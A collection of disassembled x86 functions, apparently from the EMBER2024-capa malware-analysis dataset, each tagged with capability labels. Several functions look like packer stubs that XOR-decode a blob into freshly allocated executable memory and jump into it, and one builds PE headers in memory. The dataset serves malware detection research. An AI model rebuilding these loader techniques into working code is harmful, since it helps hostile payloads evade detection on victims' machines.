joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10033880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1003388f
pop dword [ebp - 0x18]
mov eax, 0x142bbf13
add eax, 0xfbd7797c
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x470c399a
add dword [ebp - 0x28], 0x7460bb1
mov dword [ebp - 0x24], 0x56bd21a6
add dword [ebp - 0x24], 0xdb762a9f
mov dword [ebp - 0x20], 0x19219f1b
add dword [ebp - 0x20], 0x332aa513
mov dword [ebp - 0x1c], 0xbb07b985
sub dword [ebp - 0x1c], 0xbb07b985
lea eax, [ebp - 0x28]
push eax
mov eax, 0x6be34c13
add eax, 0xa420d421
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x147d1d8d
add dword [ebp - 0x28], 0x5ff54bc9
mov dword [ebp - 0x24], 0xac4b71ba
add dword [ebp - 0x24], 0x9520efbb
mov dword [ebp - 0x20], 0xfb7dee6b
sub dword [ebp - 0x20], 0x980e81ff
mov dword [ebp - 0x1c], 0x3dc05cee
sub dword [ebp - 0x1c], 0x3dc05cee
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x48ad7
push 0
call eax
mov ecx, 0x54f5af88
add ecx, 0xab0a9e52
xor ebx, ebx
add ebx, eax
mov esi, 0x578f8bf
add esi, 0xa8c8541
add esi, dword [ebp - 0x18]
mov edx, 0xad2bb230
mov edi, dword [esi]
add dword [ebp - 8], 0x8043159a
xor edi, edx
add dword [ebp - 0xc], 0xb2d7b4b1
mov dword [ebx], edi
mov dword [ebp - 8], 0x5a63347b
add ebx, 4
add esi, 4
loop 0x100339a8
add eax, 0x9d7a4c64
add eax, 0x6286ddd7
mov ebx, eax
add eax, 0xc103ec3
add eax, 0xf3efc142
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x100346a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100512d4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x100346d0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10034700
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10034700
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x100347fa
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10034729
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1003475d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x100347fa
cmp eax, 1
jle 0x100347bb
cmp eax, 3
jne 0x100347fa
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10033880
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100347d9
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100347fa
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x100347fa
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003af70
mov esp, ebp
pop ebp
ret 4
Function at 0x100396b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100412f8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x100512d4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1005128c]
cmp eax, 0xffffffff
jne 0x100396e6
xor ebx, ebx
jmp 0x100396ef
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003972f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003976e
test esi, esi
jne 0x10039772
push 0x10038230
push 0x10052ad8
call fcn.10033880
mov eax, dword [0x1005128c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003972f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003975c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003975c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100397b4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003979d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10039772
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10039700
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100397d9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100397d9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.10033880
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100397c0
jmp 0x10039700
Function at 0x407a2b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
call fcn.0041d46c
mov ecx, dword [ebp + 8]
push eax
mov dword [ecx], eax
call fcn.004079e2
add esp, 0x1c
leave
ret

Function at 0x40a81f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop edx
mov esi, eax
and esi, 1
dec esi
not esi
and esi, 0xedb88320
shr eax, 1
xor eax, esi
dec edx
jne 0x40a827
mov dword [ecx*4 + 0x42f480], eax
inc ecx
cmp ecx, 0x100
jb 0x40a822
mov edx, 0x800
jmp 0x40a874
mov eax, dword [ecx*4 + 0x42f080]
mov esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x42f480]
inc ecx
mov dword [ecx*4 + 0x42f47c], eax
cmp ecx, edx
jb 0x40a853
mov eax, 0x423260
mov esi, 0x423180
mov dword [0x42f464], eax
mov dword [0x431480], eax
mov dword [0x42f460], esi
call fcn.00410e05
test eax, eax
jne 0x40a8a1
mov dword [0x431480], esi
pop esi
ret

Function at 0x41499f
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
pop ebp
ret
Function at 0x414f49
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
movzx ecx, byte [eax + 0x426308]
mov byte [ecx + 0x42c558], al
inc eax
cmp eax, 0x100
jb 0x414f51
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ecx, dword [ebp - 4]
movzx esi, byte [ecx + 0x426308]
mov eax, esi
and al, 0x80
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x1b
lea edx, [esi + esi]
xor eax, edx
mov edi, 0xff
and eax, edi
mov edx, eax
xor edx, esi
mov dword [ebp - 8], edx
shl edx, 8
or edx, esi
shl edx, 8
or edx, esi
shl edx, 8
or edx, eax
mov dword [ecx*4 + 0x42d660], edx
mov edx, esi
shl edx, 8
mov ebx, edx
or edx, eax
or ebx, esi
shl edx, 8
or edx, dword [ebp - 8]
shl ebx, 8
or ebx, eax
shl eax, 8
or eax, dword [ebp - 8]
shl ebx, 8
or ebx, dword [ebp - 8]
shl edx, 8
shl eax, 8
mov dword [ecx*4 + 0x42da60], ebx
mov ebx, ecx
movzx esi, byte [ebx + 0x426308]
or edx, esi
or eax, esi
mov dword [ecx*4 + 0x42de60], edx
movzx edx, byte [ebx + 0x42c558]
shl eax, 8
or eax, esi
mov dword [ecx*4 + 0x42e260], eax
mov eax, edx
and al, 0x80
mov dword [ebp - 8], edx
movzx eax, al
neg eax
sbb eax, eax
add edx, edx
and eax, 0x1b
xor eax, edx
and eax, edi
mov edx, eax
and dl, 0x80
movzx esi, dl
neg esi
sbb esi, esi
and esi, 0x1b
lea edx, [eax + eax]
xor esi, edx
and esi, edi
mov edx, esi
and dl, 0x80
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0x1b
lea ebx, [esi + esi]
xor edx, ebx
and edx, edi
mov edi, edx
xor edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
mov edi, edx
xor edi, eax
xor edi, dword [ebp - 8]
xor edx, esi
xor eax, edx
mov esi, edx
xor esi, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ebx, edi
shl ebx, 8
or ebx, esi
shl ebx, 8
or ebx, edx
shl ebx, 8
or ebx, eax
mov dword [ecx*4 + 0x42c658], ebx
mov ebx, esi
shl ebx, 8
or ebx, edx
shl ebx, 8
or ebx, eax
shl ebx, 8
or ebx, edi
mov dword [ecx*4 + 0x42ca58], ebx
mov ebx, edx
shl ebx, 8
or ebx, eax
shl eax, 8
or eax, edi
shl ebx, 8
shl eax, 8
or ebx, edi
or eax, esi
shl ebx, 8
shl eax, 8
or ebx, esi
or eax, edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x100
mov dword [ecx*4 + 0x42ce58], ebx
mov dword [ecx*4 + 0x42d258], eax
jb 0x414f6d
mov dword [0x42e660], 0x414863
mov dword [0x42d65c], 0x4148bf
mov dword [0x42d658], 0x414943
call fcn.00410eda
pop edi
pop esi
pop ebx
test eax, eax
je 0x415118
mov dword [0x42e660], 0x423490
mov dword [0x42d65c], 0x423340
mov dword [0x42d658], 0x423500
leave
ret
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000c455
pop dword [ebp - 0x3c]
mov eax, 0x1000c455
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3a17d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x4c78
mov edx, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x3c]
mov esi, 0x1c140c61
mov edi, dword [ebx]
sub dword [ebp - 0x10], edx
xor edi, esi
xor dword [ebp - 0x10], 0x9fdae060
mov dword [edx], edi
sub dword [ebp - 0x28], eax
add edx, 4
add ebx, 0xc266169b
sub ebx, 0xc2661697
loop 0x1000c498
add eax, 0x124b3
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x404170
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4133b0]
jne 0x40417a
repz ret
jmp fcn.004053dc

Function at 0x4065db
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403889
and dword [ebp - 4], 0
cmp dword [0x414b34], 0
mov ebx, eax
jne 0x40668c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40673d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40673d
push eax
call fcn.00403817
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414b34], eax
call esi
push eax
call fcn.00403817
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414b38], eax
call esi
push eax
call fcn.00403817
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x414b3c], eax
call esi
push eax
call fcn.00403817
pop ecx
mov dword [0x414b44], eax
test eax, eax
je 0x40668c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403817
pop ecx
mov dword [0x414b40], eax
mov eax, dword [0x414b40]
cmp eax, ebx
je 0x4066e4
cmp dword [0x414b44], ebx
je 0x4066e4
push eax
call fcn.00403892
push dword [0x414b44]
mov esi, eax
call fcn.00403892
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4066e4
test edi, edi
je 0x4066e4
call esi
test eax, eax
je 0x4066db
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4066db
test byte [ebp - 0xc], 1
jne 0x4066e4
or dword [ebp + 0x10], 0x200000
jmp 0x40671d
mov eax, dword [0x414b38]
cmp eax, ebx
je 0x40671d
push eax
call fcn.00403892
pop ecx
test eax, eax
je 0x40671d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40671d
mov eax, dword [0x414b3c]
cmp eax, ebx
je 0x40671d
push eax
call fcn.00403892
pop ecx
test eax, eax
je 0x40671d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x414b34]
call fcn.00403892
pop ecx
test eax, eax
je 0x40673d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40673f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407739
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x412d60]
mov ebx, edi
add ebx, 0xfffffd4c
mov dword [0x412d60], ebx
mov dword [0x412d6c], 0
mov byte [0x412d70], 0
add edi, 0xffffecaa
mov dword [0x412d64], edi
mov dword [0x412d68], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov dword [0x412d60], 0x505
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x412d60]
add eax, 0xffffea51
mov dword [0x412d60], eax
mov eax, dword [0x412d68]
add eax, 1
mov dword [0x412d68], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x407794
jmp 0x40787b
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x412d74], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x412d60], 0x2259
mov edi, dword [0x412d6c]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x412d74], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x412d6c], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x412d70], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov dword [0x412d60], 0x124e
mov cl, byte [0x412d70]
mov esi, dword [0x412d6c]
mov byte [ebx + esi], cl
mov esi, dword [0x412d68]
add esi, 1
mov dword [0x412d68], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x4077d8
jmp 0x407899
xor eax, eax
mov dword [0x412d64], 0x652
mov dword [0x412d68], 0
mov dword [ebp - 0x20], eax
jmp 0x4077d8
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4078a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x412d60], 0x1669
mov dword [0x412d64], 0xda3
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x407a3b
mov eax, dword [ebp - 0x13c]
mov cl, byte [eax + 0x4091cc]
mov dl, byte [eax + str.Yy3L8]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x13c], eax
je 0x4079be
jmp 0x4078df
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x144]
lea edx, section..data
imul esi, eax, 0x6c
mov edi, edx
add edi, esi
add edi, 0x68
mov esi, dword [edi]
imul edi, eax, 0x6c
mov ebx, edx
add ebx, edi
add ebx, 0x2c
mov edi, dword [ebx]
imul ebx, eax, 0x6c
add edx, ebx
add edx, 0x30
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], ecx
mov dword [ebp - 0x154], edx
call fcn.0040858c
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
add eax, ecx
mov edx, dword [ebp - 0x14c]
add edx, 1
cmp edx, 0x129
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], edx
je 0x407ac1
jmp 0x407914
mov dword [0x412d60], 0xfffe42d4
mov dword [0x412d64], 0x56e
call fcn.00408b01
mov dword [esp], eax
mov eax, dword [ebp - 0x158]
mov dword [esp + 4], eax
call fcn.004075ed
mov ecx, eax
mov dword [0x412d7c], eax
mov dword [ebp - 0x15c], ecx
mov eax, esp
mov ecx, dword [ebp - 0x160]
mov dword [eax + 4], ecx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
mov eax, dword [ebp - 0x15c]
call eax
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x140], ecx
jmp 0x407914
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x6c
mov edi, edx
add edi, esi
add edi, 0x68
mov esi, dword [edi]
imul edi, eax, 0x6c
add edx, edi
add edx, 0x30
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x129
mov ecx, edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x407a3b
mov eax, 1
lea ecx, [ebp - 0x12c]
mov dword [0x412d60], 0xffffc85f
mov byte [ebp - 0x12c], 0x56
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x13c], eax
jmp 0x4078df
lea eax, [0x4091ab]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x168], ecx
call fcn.00407739
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x160]
mov dword [esp + 0xc], edx
call fcn.004081bd
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x716c9
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x129800
mov dword [0x412d60], 0xee6
mov ecx, dword [ebp - 0x148]
add ecx, 0x31c1e
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1fc0
add esp, 0x16c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407ca6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x28]
mov dword [0x412d60], 0xfce
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.004078a1
lea ecx, [0x408898]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x30], edx
mov dword [esp + 0x2c], 0x129800
mov edx, dword [0x412d4c]
mov dword [esp + 0x6c], edx
mov edx, dword [0x412d50]
mov dword [esp + 0x64], edx
mov dword [0x412d64], 0x2572
mov edx, dword [0x412d54]
mov dword [esp + 0x54], edx
mov edx, dword [0x412d58]
mov dword [esp + 0x40], edx
mov edx, dword [0x412d5c]
mov dword [esp + 0x5c], edx
mov dword [0x412d60], 0x14d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x407d7d
lea eax, [esp + 0x28]
mov ecx, dword [0x412d64]
add ecx, 0xffffdf56
mov dword [0x412d60], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00408021
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x18], eax
jmp 0x407df0
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x407da0
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x407dbc
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x407d7d
mov eax, dword [esp + 0x14]
mov dword [esp + 0x50], eax
mov dword [0x412d60], 0x2545
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x74], edx
call fcn.004083dd
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
je 0x407d3c
mov eax, dword [esp + 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x408021
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x28]
mov esi, dword [0x412d64]
mov edi, esi
add edi, 0x5dc
mov dword [0x412d64], edi
mov edi, esi
add edi, 0xffffda0c
mov dword [0x412d60], edi
mov byte [ebp - 0x28], 0x56
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], esi
mov eax, 1
mov dword [ebp - 0x3c], eax
jmp 0x40806e
mov eax, dword [ebp - 0x3c]
mov cl, byte [eax + 0x4091cc]
mov dl, byte [eax + str.Yy3L8]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x3c], eax
jne 0x40806e
mov eax, dword [ebp - 0x38]
add eax, 0xfffe5481
mov dword [0x412d60], eax
mov dword [0x412d64], 0x56e
call fcn.00408b01
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.004075ed
xor ecx, ecx
mov dword [0x412d60], 0x52b
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
je 0x40817a
mov eax, dword [ebp - 0x40]
mov dword [0x412d64], 0x254f
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.00407df8
xor eax, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x24], ecx
mov ecx, dword [ebp - 0x48]
mov dword [edx + 0xc], ecx
mov dword [0x412d60], 0xfde
cmp ecx, 0
mov dword [ebp - 0x44], eax
je 0x40817a
mov eax, dword [ebp - 0x48]
add eax, 0x1c74
mov dword [ebp - 0x4c], eax
mov dword [0x412d60], 0x8a2
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x54
pop esi
pop edi
pop ebp
ret